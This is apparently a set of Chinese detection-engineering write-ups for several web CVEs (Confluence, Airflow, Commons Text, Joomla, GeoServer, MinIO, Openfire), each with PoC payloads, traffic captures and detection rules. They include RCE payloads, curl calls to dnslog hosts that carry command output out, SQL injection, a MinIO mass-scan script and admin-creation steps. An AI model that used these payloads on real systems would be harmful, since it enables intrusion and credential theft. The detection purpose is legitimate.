/usr/local/go/src/runtime/panic.go:1038
/go/src/casdoor/object/organization.go:48
/go/src/casdoor/controllers/organization.go:45
/usr/local/go/src/reflect/value.go:543
/usr/local/go/src/reflect/value.go:339
/go/pkg/mod/github.com/astaxie/beego@v1.12.3/router.go:897
/usr/local/go/src/net/http/server.go:2879
/usr/local/go/src/net/http/server.go:1930
/usr/local/go/src/runtime/asm_amd64.s:1581
``` 关注GET请求URL路径内容以及返回包信息,辅助研判。 ## 参考推荐 MITRE-ATT&CK-T1190 CVE-2022-24124_POC ================================================ FILE: Web/2022/T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞.md ================================================ # T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 ### 简介 Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。 Confluence Server and Data Center存在一个远程代码执行漏洞,未经身份验证的攻击者可以利用该漏洞向目标服务器注入恶意ONGL表达式,进而在目标服务器上执行任意代码。 ### 受影响版本 ``` yml Confluence Server and Data Center >= 1.3.0 Confluence Server and Data Center < 7.4.17 Confluence Server and Data Center < 7.13.7 Confluence Server and Data Center < 7.14.3 Confluence Server and Data Center < 7.15.2 Confluence Server and Data Center < 7.16.4 Confluence Server and Data Center < 7.17.4 Confluence Server and Data Center < 7.18.1 ``` ### EXP/POC 请勿用做非法用途,仅用于检测测试。 fofa语法:icon_hash="-305179312" ``` yml /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ ``` URL decode ``` yml /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("' command '").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/ ``` ## 检测日志 HTTP.log ## 测试复现 参考测试留痕内容。 ## 测试留痕 ``` yml GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1 Host: x.x.x.x:81 User-Agent: python-requests/2.27.1 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive HTTP/1.1 302 Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Confluence-Request-Time: 1654694968696 Set-Cookie: JSESSIONID=D7258B0DCEE36AE8056A8853FDCE6E69; Path=/; HttpOnly X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-Cmd-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Wed, 08 Jun 2022 13:29:28 GMT Keep-Alive: timeout=20 Connection: keep-alive ``` ## 检测规则/思路 参考[splunk官方建议](https://www.splunk.com/en_us/blog/security/atlassian-confluence-vulnerability-cve-2022-26134.html) [Splunk公开规则](https://github.com/splunk/security_content/blob/develop/detections/web/confluence_unauthenticated_remote_code_execution_cve_2022_26134.yml) ``` sql | tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN ("*${*", "*%2F%7B*") (Web.url="*org.apache.commons.io.IOUtils*" Web.url="*java.lang.Runtime@getRuntime().exec*") OR (Web.url="*java.lang.Runtime%40getRuntime%28%29.exec*") OR (Web.url="*getEngineByName*" AND Web.url="*nashorn*" AND Web.url="*ProcessBuilder*") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name("Web")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `confluence_unauthenticated_remote_code_execution_cve_2022_26134_filter ``` 对url中包含"%24%7B"或者"/${*"进行重点监测。可结合"java.lang.Runtime%40getRuntime%28%29.exec"进行辅助研判。 ## 参考推荐 MITRE-ATT&CK-T1190 atlassian-confluence-vulnerability-cve-2022-26134 CVE-2022-26134漏洞复现(Confluence OGNL注入rce漏洞) ================================================ FILE: Web/2022/T1190-CVE-2022-40127 Apache Airflow代码注入.md ================================================ # T1190-CVE-2022-40127 Apache Airflow代码注入 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 ### 简介 Apache Airflow是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow可以定义一组有依赖的任务,按照依赖依次执行。该漏洞影响版本Apache Airflow <2.4.0;当攻击者可访问到Apache Airflow的后台,且环境中存在默认Example Dags,则可构造恶意请求借助run_id执行任意命令。 ### EXP/POC 请勿用做非法用途,仅用于流量分析检测。 网络空间测绘查询:title="Airflow" #### POC-1 ``` yml {"fxoxx":"\";curl `uname`.lxx2.535ld4zn.dnslog.pw;\""} ``` ![poc1](https://user-images.githubusercontent.com/18260135/202715494-4ca2fd4f-384e-40aa-ae7b-02ca51defa4f.png) ![poc_1](https://user-images.githubusercontent.com/18260135/202846433-4a4a40fa-675e-477b-a9c4-be2f6c894583.png) #### POC-2 ``` bash curl -X 'POST' \ 'http://10.11.12.131:8080/api/v1/dags/example_bash_operator/dagRuns' \ - H 'accept: application/json' \ - H 'Content-Type: application/json' \ - d '{ "conf": { "dag_run": "api2" }, "dag_run_id": "id \"&& curl `whoami`.api222.535ld4zn.dnslog.pw", "logical_date": "2022-11-19T10:13:13.920Z" }' ``` ![POC-2](https://user-images.githubusercontent.com/18260135/202846307-165943c3-dd8e-4d92-aae8-72516fc00f82.png) ![Poc2](https://user-images.githubusercontent.com/18260135/202846350-ca6d0770-8143-4da8-8ac5-1596f365cff9.png) ![pOc2](https://user-images.githubusercontent.com/18260135/202846365-e4d0b467-7e06-4112-899b-14245dc17b5f.png) ![poc2](https://user-images.githubusercontent.com/18260135/202846417-9d359d5a-cc6f-4be2-8003-cfefd3d488f4.png) ## 检测日志 HTTP.log ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 分析思路: - 请求路径中是否含有"/airflow/" - 请求路径是否为"/api/v1/dags/example_bash_operator/dagRuns" ## 参考推荐 MITRE-ATT&CK-T1190 CVE-2022-40127 Apache Airflow(CVE-2022-40127)漏洞复现 ================================================ FILE: Web/2022/T1190-CVE-2022-42889 Apache Commons Text RCE.md ================================================ # T1190-CVE-2022-42889-Apache_Commons_Text_RCE ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 ### 简介 Apache Commons Text:该组件是一款处理字符串和文本块的开源项目,简单来说,除了核心Java提供的功能外,Apache Commons文本库还包含了许多有用的实用程序方法,用于处理字符串。通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,常用于数据库查询前的语句替换,或者页面输出时的替换。 Apache Commons Text执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于查找org.apache.commons.text.loookup的实例,执行插值的StringLookup 。从1.5版开始一直到1.9版,默认Lookup实例集包括插值器,这些插值器可能导致任意代码执行或与远程服务器通信。这些查找是:-“script”-使用JVM脚本执行引擎(javax.script)执行表达式-“dns”-解析dns记录-“url”-从url加载值,如果使用不受信任的配置值,则受影响版本中使用插值默认值的应用程序,可能容易受到远程代码执行或与远程服务器无意接触的影响。建议用户升级到Apache Commons Text 1.10.0,默认情况下会禁用有问题的插值器。 ### 受影响版本 ``` yml 1.5 <= Apache Commons Text <= 1.9 ``` - -- ### EXP/POC 请勿用做非法用途,仅用于流量分析检测。 #### CVE-2022-42889 ``` java import org.apache.commons.text.StringSubstitutor; public class CommonsPoc { public static void main(String[] args) { StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); // 命令执行 // String poc = interpolator.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}"); // SSRF // String poc = interpolator.replace("${url:utf-8:http://*.dnslog.cn}"); // 命令执行base64编码绕过 String poc = interpolator.replace("${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoIm9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAiKX0=}"); } } ``` - -- #### CVE-2022-33980 ``` java package com.exploit.payloadclass; import org.apache.commons.configuration2.interpol.ConfigurationInterpolator; import org.apache.commons.configuration2.interpol.InterpolatorSpecification; public class CommonsConfiguration2Poc { public static void main(String[] args) { InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder().withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()) .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()).create(); ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification); System.out.println(interpolator.interpolate("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}")); } } ``` - -- ## 检测日志 HTTP.log ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 分析思路: - 关注getRuntime().exec前后参数及参数返回内容 - 关注命令执行编码绕过行为,需解码分析 ## 参考推荐 MITRE-ATT&CK-T1190 Apache commons-text和Configuration 命令执行CVE-2022-42889/CVE-2022-33980分析 text4shell CVE-2022-42889 poc 【漏洞分析】Apache Commons Text远程代码执行漏洞(CVE-2022-42889) ================================================ FILE: Web/2023/CVE-2023-23752/T1190-CVE-2023-23752.md ================================================ # T1190-CVE-2023-23752-Joomla权限绕过漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。 在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。 参考链接: - - - ## 检测日志 HTTP.log ## 测试复现 ### 漏洞环境 漏洞环境参考vulhub进行部署模拟 执行如下命令启动一个Joomla 4.2.7: ``` docker-compose up -d ``` 服务启动后,访问`http://your-ip:8080`即可查看到Joomla页面。 ### 漏洞复现 这个漏洞是由于错误的属性覆盖导致的,攻击者可以通过在访问Rest API时传入参数`public=true`来绕过权限校验。 比如,访问下面这个链接即可读取所有配置项,包括数据库连接用户名和密码: ``` http://your-ip:8080/api/index.php/v1/config/application?public=true ``` ![](1.png) 如果不添加`public=true`,则访问会被拒绝。 访问下面这个链接即可读取所有用户信息,包含邮箱等: ``` http://your-ip:8080/api/index.php/v1/users?public=true ``` ![](2.png) ## 测试留痕 ![](3.png) ![](4.png) 流量包见同目录下pcap文件。 ## 检测规则/思路 对请求路径及返回内容进行重点关注,研判分析时要根据url路径内容,结合返回信息+状态码进行研判。 ## 参考推荐 MITRE-ATT&CK-T1190 Joomla权限绕过漏洞(CVE-2023-23752) Joomla未授权访问漏洞|CVE-2023-23752复现及修复 ================================================ FILE: Web/2023/CVE-2023-25157/T1190-CVE-2023-25157.md ================================================ # T1190-CVE-2023-25157-GeoServer OGC Filter SQL注入漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 GeoServer 是OpenGIS Web服务器规范的J2EE实现,利用GeoServer可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。 在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞。 参考链接: - https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158 - https://github.com/advisories/GHSA-7g5f-wrx8-5ccf ## 检测日志 HTTP.log ## 测试复现 ### 漏洞环境 FOFA: app = "GeoServer" 执行如下命令启动一个SeoServer 2.22.1: ``` docker-compose up -d ``` 环境启动后,访问即可查看到GeoServer的首页。http://your-ip:8080/geoserver ## 漏洞复现 在利用漏洞前,需要目标服务器中存在类型是PostGIS的数据空间(datastore)和工作空间(workspace)。在Vulhub中,已经包含满足条件的工作空间,其信息如下: - 工作区名称:vulhub - 数据存储名称:pg - 要素类型(表)名称:example - 要素类型的属性之一:name 利用这些已知参数,发送如下URL即可触发SQL注入漏洞: ``` http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true ``` ![test](1.png) 获取GeoServer中WFS服务的图层信息(包括支持的 WFS 版本、支持的数据格式、支持的查询方式、支持的空间参考系统等) ``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 ``` 获取某个图层的属性名称 ``` GET /geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=图层名称 HTTP/1.1 ``` ## 测试留痕 ``` yml GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name%2C%27x%27%27)+%3D+true+and+1%3D(SELECT+CAST+((SELECT+version())+AS+integer))+--+%27)+%3D+true HTTP/1.1 Host: 192.168.101.129:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK X-Frame-Options: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Content-Encoding: gzip Transfer-Encoding: chunked Server: Jetty(9.4.48.v20220622) java.lang.RuntimeException: java.io.IOException java.io.IOExceptionERROR: invalid input syntax for type integer: "PostgreSQL 14.8 on x86_64-pc-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r10) 12.2.1 20220924, 64-bit" ``` 流量包见同目录下pcap文件。 ## 检测规则/思路 对请求路径及返回内容进行重点关注。 研判分析要点: - 请求方法GET - 请求url路径及路径中是否包含SQL语句 - 状态码200,结合返回body信息,判断攻击是否成功。 辅助判断:上下文关联分析,是否存在获取GeoServer中WFS服务的图层信息、获取某个图层的属性名称等行为 ## 参考推荐 MITRE-ATT&CK-T1190 GeoServer OGC Filter SQL注入漏洞(CVE-2023-25157) GeoServer SQL注入漏洞复现(CVE-2023-25157) GeoServer SQL 注入漏洞分析(CVE-2023-25157) ================================================ FILE: Web/2023/CVE-2023-28432/T1190-CVE-2023-28432.md ================================================ # T1190-CVE-2023-28432-MinIO集群模式信息泄露漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 MinIO是一个开源对象存储系统。 在其`RELEASE.2023-03-20T20-16-18Z`版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码`MINIO_SECRET_KEY`和`MINIO_ROOT_PASSWORD`。 参考链接: - - ## 检测日志 HTTP.log ## 测试复现 ### 漏洞环境 执行如下命令启动一个MinIO集群,其中包含3个以集群模式运行的服务: ``` bash docker-compose up -d ``` - ---------- 集群启动后,访问http://your-ip:9001可以查看Web管理页面,访问http://your-ip:9000是API服务。 ### 漏洞复现 这个漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上,发送如下数据包即可查看泄露的环境变量: ``` yml POST /minio/bootstrap/v1/verify HTTP/1.1 Host: your-ip:9000 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` - ---------- 这里采用另外一种方法进行验证: ``` sh jackma@linux:~/下载$ curl -XPOST 10.211.55.71:9000/minio/bootstrap/v1/verify {"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}} ``` - ---------- 可见,其中包含MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。使用这个账号密码,即可成功登录管理后台。 ### 批量检测脚本 ``` py import requests import sys import urllib3 from argparse import ArgumentParser import threadpool from urllib import parse from time import time import random # app="minio" urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) filename = sys.argv[1] url_list=[] def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] ) return ua proxies={'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'} def wirte_targets(vurl, filename): with open(filename, "a+") as f: f.write(vurl + "\n") # poc def check_url(url): url=parse.urlparse(url) hostname = url.hostname url=url.scheme + '://' + url.netloc vulnurl=url + "/minio/bootstrap/v1/verify" headers = { 'User-Agent': get_ua(), "host":hostname, "Content-Type": "application/x-www-form-urlencoded" } data="" try: res = requests.post(vulnurl, verify=False, allow_redirects=False, headers=headers,data=data ,timeout=5) if res.status_code == 200 and "MinioEn" in res.text: # print(res.text) print("\033[32m[+]{} is vulnerable\033[0m".format(url)) wirte_targets(vulnurl,"vuln.txt") else: print("\033[34m[-]{} not vulnerable.\033[0m".format(url)) except Exception as e: print("\033[34m[!]{} request false.\033[0m".format(url)) pass # 多线程 def multithreading(url_list, pools=5): works = [] for i in url_list: # works.append((func_params, None)) works.append(i) # print(works) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(check_url, works) [pool.putRequest(req) for req in reqs] pool.wait() if __name__ == '__main__': arg=ArgumentParser(description='check_url By m2') arg.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") arg.add_argument("-f", "--file", help="Target URL; Example:url.txt") args=arg.parse_args() url=args.url filename=args.file print("[+]任务开始.....") start=time() if url != None and filename == None: check_url(url) elif url == None and filename != None: for i in open(filename): i=i.replace('\n','') url_list.append(i) multithreading(url_list,10) end=time() print('任务完成,用时%ds.' %(end-start)) ``` ## 测试留痕 ![http.log](/1.png) HTTP_log ``` yml POST /minio/bootstrap/v1/verify HTTP/1.1 Host: 10.211.55.71:9000 User-Agent: curl/7.81.0 Accept: */* HTTP/1.1 200 OK Content-Security-Policy: block-all-mixed-content Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Origin X-Amz-Id-2: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 X-Amz-Request-Id: 176C8C25765008C9 X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Date: Tue, 27 Jun 2023 15:00:52 GMT Content-Length: 1107 Content-Type: text/plain; charset=utf-8 {"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}} ``` - ---------- ## 检测规则/思路 对请求方法和URL、HOST内容进行分析,同时观察返回内容中是否包含MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。 ## 参考推荐 MITRE-ATT&CK-T1190 CVE-2023-28432 MinIO信息泄漏分析与复现CVE-2023-28432 ================================================ FILE: Web/2023/CVE-2023-32315/T1190-CVE-2023-32315-Openfire管理后台认证绕过.md ================================================ # T1190-CVE-2023-32315-Openfire管理后台认证绕过 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Openfire是根据开放源Apache许可获得许可的实时协作(RTC)服务器。 在Openfire版本4.7.4和4.6.7及以前,Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。 空间测绘查询语句:body="Openfire" 参考链接: - - - ## 检测日志 HTTP.log ## 测试复现 ### 漏洞环境 漏洞环境使用vulhub docker环境 执行如下命令启动一个4.7.4版本的Openfire: ``` yml docker-compose up -d ``` 服务器启动后,访问`http://your-ip:9090`你将会被强制跳转到登录页面。 ### 漏洞复现 #### 步骤1,验证漏洞是否存在 启动openfire服务器后,访问以下路径,验证漏洞是否存在。 ``` http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp ``` 成功未授权访问日志文件,证明存在Openfire管理后台认证绕过漏洞 #### 步骤2,获取JSESSIONID和csrftoken 访问以下路径,获取获取JSESSIONID和csrftoken ``` http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp http://localhost:9090/login.jsp?url=%2F%2Fsetup%2Fsetup-s%2F%25u002e%25u002e%2F%25u002e%25u002e%2Fuser-groups.jsp ``` #### 步骤3,构造数据包创建用户 构造数据包如下: ``` GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=admin&name=&email=&password=admin&passwordConfirm=admin&isadmin=on&create=Create+User HTTP/1.1 Host: localhost:9090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: csrf=csrftoken ``` 更多利用方法,可参考链接中的内容。 POC地址: - 这里直接使用脚本进行模拟测试: ![脚本自动化](1.png) ## 测试留痕 ![jsessionid](jsessionid.png) ![csrftoken](csrftoken.png) 流量包见同目录下pcap文件。 ## 检测规则/思路 研判分析要点: - 结合流量上下文,URL路径和返回信息 - 关注状态码信息,并非都是200 ## 参考推荐 MITRE-ATT&CK-T1190 盘点一下OpenFire的漏洞CVE-2023-32315 ================================================ FILE: Web/2023/CVE-2023-34843/T1190-CVE-2023-34843.md ================================================ # T1190-CVE-2023-34843-Traggo Server任意文件读取 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Traggo Server是一个基于标签的时间跟踪工具。CVE-2023-34843中,攻击者可构造恶意请求读取遍历系统上的文件,造成敏感信息泄漏。 空间测绘语句:title="Traggo" 参考链接: - - ## 检测日志 HTTP.log ## 测试复现 重现步骤: 在服务器上设置traggo服务器。`https://traggo.net/install/` 向以下URL发出GET请求。 `curl -X GET 